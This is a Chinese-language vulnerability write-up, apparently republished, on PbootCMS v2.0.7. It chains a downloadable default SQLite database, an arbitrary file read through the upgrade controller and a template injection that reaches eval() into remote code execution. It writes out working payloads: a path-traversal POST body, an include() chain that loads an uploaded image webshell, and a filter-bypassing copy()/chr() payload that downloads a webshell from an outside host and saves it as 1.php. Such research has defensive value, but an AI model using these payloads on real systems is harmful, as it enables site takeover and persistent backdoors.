PbootCMS v2.0.7從前台數據庫下載到后台RCE研究


前言

PbootCMS是全新內核且永久開源免費的PHP企業網站開發建設管理系統,是一套高效、簡潔、 強悍的可免費商用的PHP CMS源碼,能夠滿足各類企業網站開發建設的需要。

環境:

  • Apache 2.4.39
  • PHP 7.3.8

分析

該程序的特點是默認使用的sqlite數據庫

可以看看數據庫的配置文件config/database.php

<?php
/**  * 主數據庫連接參數,未配置的參數使用框架慣性配置  * 如果修改為mysql數據庫,請同時修改type和dbname兩個參數  */ return array( 'database' => array( 'type' => 'sqlite', // 數據庫連接驅動類型: mysqli,sqlite,pdo_mysql,pdo_sqlite 'host' => '127.0.0.1', // 數據庫服務器 'user' => 'pboot', // 數據庫連接用戶名 'passwd' => '123456', // 數據庫連接密碼 'port' => '3306', // 數據庫端口 // 'dbname' => 'pbootcms' // 去掉注釋,啟用mysql數據庫,注意修改前面的連接信息及type為mysqli 'dbname' => '/data/pbootcms.db' // 去掉注釋,啟用Sqlite數據庫,注意修改type為sqlite ) ); 

默認的數據庫路徑是/data/pbootcms.db,且data目錄下沒有進行任何的判斷,后台也沒有提供修改數據庫路徑的功能,所以可直接下載。

下載后用sqlite3打開就可以得到用戶的hash,hash使用的是md5(md5($pass))生成的。

所以這里直接挖后台的洞

任意文件讀取

漏洞文件apps/admin/controller/system/UpgradeController.php

<?php
    ... public function update(){ if ($_POST) { if (! ! $list = post('list')) { $list = explode(',', $list); $backdir = date('YmdHis'); // 分離文件 foreach ($list as $value) { if (stripos($value, '/script/') !== false) { $sqls[] = $value; } else { $path = RUN_PATH . '/upgrade' . $value; $des_path = ROOT_PATH . $value; $back_path = DOC_PATH . STATIC_DIR . '/backup/upgrade/' . $backdir . $value; if (! check_dir(dirname($des_path), true)) { json(0, '目錄寫入權限不足,無法正常升級!' . dirname($des_path)); } if (file_exists($des_path)) { // 文件存在時執行備份 check_dir(dirname($back_path), true); copy($des_path, $back_path); } // 如果后台入口文件修改過名字,則自動適配 if (stripos($path, 'admin.php') !== false && stripos($_SERVER['SCRIPT_FILENAME'], 'admin.php') === false) { if (file_exists($_SERVER['SCRIPT_FILENAME'])) { $des_path = $_SERVER['SCRIPT_FILENAME']; } } $files[] = array( 'sfile' => $path, 'dfile' => $des_path ); } } // 更新數據庫 if (isset($sqls)) { $db = new DatabaseController(); switch (get_db_type()) { case 'sqlite': copy(DOC_PATH . $this->config('database.dbname'), DOC_PATH . STATIC_DIR . '/backup/sql/' . date('YmdHis') . '_' . basename($this->config('database.dbname'))); break; case 'mysql': $db->backupDB(); break; } sort($sqls); // 排序 foreach ($sqls as $value) { $path = RUN_PATH . '/upgrade' . $value; if (file_exists($path)) { //echo $path; //exit; $sql = file_get_contents($path); if (! $this->upsql($sql)) { $this->log("數據庫 $value 更新失敗!"); json(0, "數據庫" . basename($value) . " 更新失敗!"); } } else { json(0, "數據庫文件" . basename($value) . "不存在!"); } } } // 替換文件 if (isset($files)) { foreach ($files as $value) { if (! copy($value['sfile'], $value['dfile'])) { $this->log("文件 " . $value['dfile'] . " 更新失敗!"); json(0, "文件 " . basename($value['dfile']) . " 更新失敗,請重試!"); } } } // 清理緩存 path_delete(RUN_PATH . '/upgrade', true); path_delete(RUN_PATH . '/cache'); path_delete(RUN_PATH . '/complite'); path_delete(RUN_PATH . '/config'); $this->log("系統更新成功!"); json(1, '系統更新成功!'); } else { json(0, '請選擇要更新的文件!'); } } } ... ?>

可以看到注釋寫着更新數據庫的部分,將$sqls遍歷出來后放進了file_get_contents函數,然后調用了一個upsql()方法。跟過去看一下。

<?php
    // 執行更新數據庫 private function upsql($sql){ $sql = explode(';', $sql); $model = new Model(); foreach ($sql as $value) { $value = trim($value); if ($value) { $model->amd($value); } } return true; } ?>

將傳過來的字符串用;分隔后又調用了一個Model::amd()方法。繼續跟下去。

文件core/database/Sqlite.php

<?php
    ... // 數據增、刪、改模型,接受完整SQL語句,返回影響的行數的int數據 public function amd($sql){ $result = $this->query($sql, 'master'); if ($result) { return $result; } else { return 0; } } // 執行SQL語句,接受完整SQL語句,返回結果集對象 public function query($sql, $type = 'master'){ ... switch ($type) { case 'master': if (! $this->begin) { // 存在寫入時自動開啟顯式事務,提高寫入性能 $this->master->exec('begin;'); $this->begin = true; } $result = $this->master->exec($sql) or $this->error($sql, 'master'); break; case 'slave': $result = $this->slave->query($sql) or $this->error($sql, 'slave'); break; } return $result; } // 顯示執行錯誤 protected function error($sql, $conn){ $err = '錯誤:' . $this->$conn->lastErrorMsg() . ','; if ($this->begin) { // 存在顯式開啟事務時進行回滾 $this->master->exec('rollback;'); $this->begin = false; } error('執行SQL發生錯誤!' . $err . '語句:' . $sql); } ... ?>

這里的amd()方法又調用了一個query()方法,在query()方法里可以看到直接將$sql放進SQL執行函數里,如果執行失敗,直接將$sql打印出來。

這樣看下來這里的漏洞可以拿來執行任意SQL語句,但是由於這里用的是sqlite數據庫,且當前已經在后台里了,所以這里的任意SQL執行也沒啥可以利用的。(可能可以審一下用數據庫里的數據當做輸入的點,沒准能利用起來)

但是由於正常的文件內容讀出來直接當做SQL語句執行肯定會報錯,所以這里可以用來讀取文件。

經過回溯可以發現$sqls,使用的POST傳輸過來的數據,且數據中需要有/script/字符串。

構造Payload:

URL: http://pbootcms/admin.php?p=/Upgrade/update
POST: list=/script/../../../config/database.php

即可讀取到文件(僅限在Windows下,Linux不支持在不存在的文件夾下上跳,Linux下利用的話得找到一個系統或者程序自帶的/script/目錄)

模板注入

看了一下程序后,了解到該程序使用了模板引擎進行內容解析,這時候就可以考慮能否進行模板注入了。

大概看了一下模板引擎的代碼后發現一個解析if語句的地方很有趣。

文件:apps/home/controller/ParserController.php

精簡后的代碼如下:

<?php
    public function parserIfLabel($content){ $pattern = '/\{pboot:if\(([^}^\$]+)\)\}([\s\S]*?)\{\/pboot:if\}/'; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { $danger = false; // 帶有函數的條件語句進行安全校驗 if (preg_match_all('/([\w]+)([\\\s]+)?\(/i', $matches[1][$i], $matches2)) { foreach ($matches2[1] as $value) { if (function_exists($value)){ $danger = true; break; } } } // 過濾特殊字符串 if (preg_match('/(\$_GET\[)|(\$_POST\[)|(\$_REQUEST\[)|(\$_COOKIE\[)|(\$_SESSION\[)|(file_put_contents)|(fwrite)|(phpinfo)|(base64_decode)|(`)|(shell_exec)|(eval)|(system)|(exec)|(passthru)/i', $matches[1][$i])) { $danger = true; } // 如果有危險函數,則不解析該IF if ($danger) { continue; } eval('if(' . $matches[1][$i] . '){$flag="if";}else{$flag="else";}'); ... ?>

這里大概的意思就是,在模板的if語句中,通過正則找到函數的結構,然后將其傳入function_exists,如果該函數存在則不執行下面的eval()

如果可以編輯模板文件,或者存在模板注入的話,那么就可以嘗試繞一下這些限制,看能不能往eval()里面注入代碼。

在后台翻了一下,沒有看到有對模板文件進行修改的地方,所以考慮模板注入。

在后台的公司信息欄目插入符合模板if語句的Payload:{pboot:if(1)}OK{/pboot:if}

可以看到這里的模板語句已經解析了。所以這里是存在模板注入的。

但是這個程序是有對所有參數進行全局的htmlspecialcharsaddslashes的,在結合上面的正則,導致我們不能使用很多字符。

有:'"$}和反引號、\x00等等。

根據這個限制我很快有了一種思路:

php的語法有一些具有函數結構,但是卻不是函數的關鍵字。

例如:include()array()等。

現在思路就很明確了,既然 include()可以繞過函數檢測這個點,那么往里面傳參數就完事了。

接下來就是要想辦法在當前限制下構造出一個字符串往include()里面傳了。

  • 思路1:

    通過$_SERVER數組傳,但是前面的正則ban了$,所以這個思路不行。

  • 思路2:

    使用get_defined_vars()從get的參數里面獲取,但是get_defined_vars不能過function_exists,所以也不行。

  • 思路3:

    PHP7.2版本開始:不帶引號的字符串是不存在的全局常量的話,那么則轉化成他們自身的字符串。

    意思就是echo a=>define(a, 'a');echo a;

    那么就可以不使用引號,從而構造字符串了。

    所以我們可以在后台上傳一個圖片馬,然后用include()去包含getshell了。

    但是這里有個問題,上傳后的圖片路徑會有數字和/.,而數字和/.不帶引號是不會觸發上面說的trick的。

    也就是現在能構造任意字母了,但是還需要數字和/.

    /.其實很好辦,PHP有幾個預定義常量如__FILE__,獲取當前的文件的絕對路徑

    在程序里打印一下看看

    ./都有,但是直接用數組的方式去取是會報錯的。

    這時候就需要用到剛剛說的array()了,將__FILE__放進array()里之后再利用去二維數組的方式去取就不會報錯了。(因為這里是將常量賦值進了數組里面,不是直接對常量進行數組的方式取值,所以不會報錯。)

    var_dump(array(__FILE__)[0][-4]); //=.

    var_dump(array(__FILE__)[0][-21]); //=/

    現在就缺數字了,而且該數字還必須是String型的數字。

    PHP下還有帶有數字的常量,例如__LINE____PHP_VERSION__,但是這些數字可能不太夠,而且也不太能確定具體得值,不夠"一般化"。

    於是開始尋找別的辦法。

    於是我開始全局搜索define(,尋找在程序中定義的,可控或者含有數字的常量。

    文件:core/view/Paging.php

    <?php
        ... public function limit($total = null, $morePageStr = false){ // 起始數據調整 if (! is_numeric($this->start) || $this->start < 1) { $this->start = 1; } if ($this->start > $total) { $this->start = $total + 1; } // 設置總數 if ($total) { $this->rowTotal = $total - ($this->start - 1); } // 設置分頁大小 if (! isset($this->pageSize)) { $this->pageSize = get('pagesize') ?: Config::get('pagesize') ?: 15; } // 分頁數字條數量 $this->num = Config::get('pagenum') ?: 5; // 計算頁數 $this->pageCount = @ceil($this->rowTotal / $this->pageSize); // 獲取當前頁面 $this->page = $this->page(); // 定義相關常量,用於方便模板引擎解析序號等計算和調用 define('ROWTOTAL', $this->rowTotal); define('PAGECOUNT', $this->pageCount); define('PAGE', $this->page); define('PAGESIZE', $this->pageSize); // 注入分頁模板變量 $this->assign($morePageStr); // 返回限制語句 return ($this->page - 1) * $this->pageSize + ($this->start - 1) . ",$this->pageSize"; } // 當前頁碼容錯處理 private function page(){ $page = get('page', 'int') ?: $this->page; if (is_numeric($page) && $page > 1) { if ($page > $this->pageCount && $this->pageCount) { return $this->pageCount; } else { return $page; } } else { return 1; } } ... ?>

    這里是該程序的一個分頁類,可以看到里面有一個叫PAGE的常量,且該常量可控。

    那么就尋找調用了這個分頁類的地方傳入page就好。

    例如:http://pbootcms/?keyword=123&page=0123456789

    且該常量為string類型。

    至此,路徑中需要的字符都構造出來了,只需要用.連接即可。

    利用過程:

    1. 上傳圖片馬

      得到路徑static/upload/image/20200417/1587111957160139.png

    2. 根據路徑構造payload

      include(s.tatic.array(__FILE__)[0][0].upload.array(__FILE__)[0][0].image.array(__FILE__)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][2].array(PAGE)[0][0].array(PAGE)[0][0].array(PAGE)[0][4].array(PAGE)[0][1].array(PAGE)[0][7].(馬賽克).png)

      將payload放入模板的if語句中

    3. 模板注入

    4. 訪問帶有分頁類且又能輸出公司地址的地方

      Getshell成功!!!CTF再次誠不欺我!!!

一般化

一開始在研究這個漏洞的時候,就覺得有點麻煩,又要上傳圖片馬,又要構造圖片馬的路徑,不能一個payload直接打,十分麻煩。

於是就跑去問了問P師傅(P牛,永遠滴神!)

P師傅理解了我的需求后,直接甩了個payload給我

看到后我才想起,以前就看過P師傅的一篇文章里面的一個trick:在一個函數的括號前面加入一些控制字符,PHP一樣能識別改函數並執行。利用這個trick就可以執行任意函數了。

於是根據P師傅給的思路再結合程序本身的一些其他的黑名單限制,很快我就構造出了一個通用的Payload

{pboot%3aif(copy%01(chr%01(104).chr%01(116).chr%01(116).(馬賽克),chr%01(49).chr%01(46).chr%01(112).chr%01(104).chr%01(112)))}asdasdasd{/pboot%3aif}

利用一個copy()函數到遠程服務器上下載一個webshell放在本地,這里的webshell地址通過chr()函數一個個還原出shell地址一個個拼接。

向模板注入該payload:

訪問前台觸發點:

則會去http://mock.x.dnshia.cn/shell下載webshell,並保存到1.php

參考鏈接

PHP動態特性的捕捉與逃逸


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM